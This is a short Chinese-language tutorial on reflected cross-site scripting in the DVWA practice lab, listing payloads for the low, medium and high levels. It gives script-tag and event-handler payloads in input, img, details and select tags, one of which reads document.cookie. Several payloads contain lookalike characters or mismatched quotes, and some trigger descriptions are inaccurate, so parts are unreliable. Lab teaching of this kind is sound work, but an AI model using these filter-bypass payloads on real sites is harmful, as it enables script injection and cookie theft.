下列以dvwa靶场为例:
反射性XSS:
LOW级别
<script>alert('test')</script>
最基本的原理,就是前端对输入的内容过滤不严谨,是的输入的元素再html框架中得以运行。
medium级别
可能过滤了js标签,我们使用input标签,
<input οnblur=alert`1`>当input失去焦点时会触发
<input οnclick=alert `123'> 当input获取焦点(点击输入)时触发
都可以
。
confirm
<input οnclick=confirm `123'> 当input获取焦点(点击输入)时触发(选择性弹框)
这两种姿势再High中也同样适用。
直接提到high用于测试。
<input οnfοcus="alert( 'xss '); " autofocus>通过执行auto属性执行本身的focus事件
<img src=x οnerrοr=prompt `he11oxss'>注意使用的是反引号包裹
img标签原理:插入一个没有的图片,当浏览器找不到图片时,自动执行后边的代码。
<img src=1 οnclick=alert `1`>当鼠标在图片上时触发
<img src=1 onc1ick=alert`1`>点击图片触发
<details οntοggle="alert( 'xss ')">点击下拉选项时触发
<details open οntοggle="alert('xss ')">通过open属性自动触发
<select οnfοcus=alert(document.cookie) autofocus></select>点击下拉选项时触发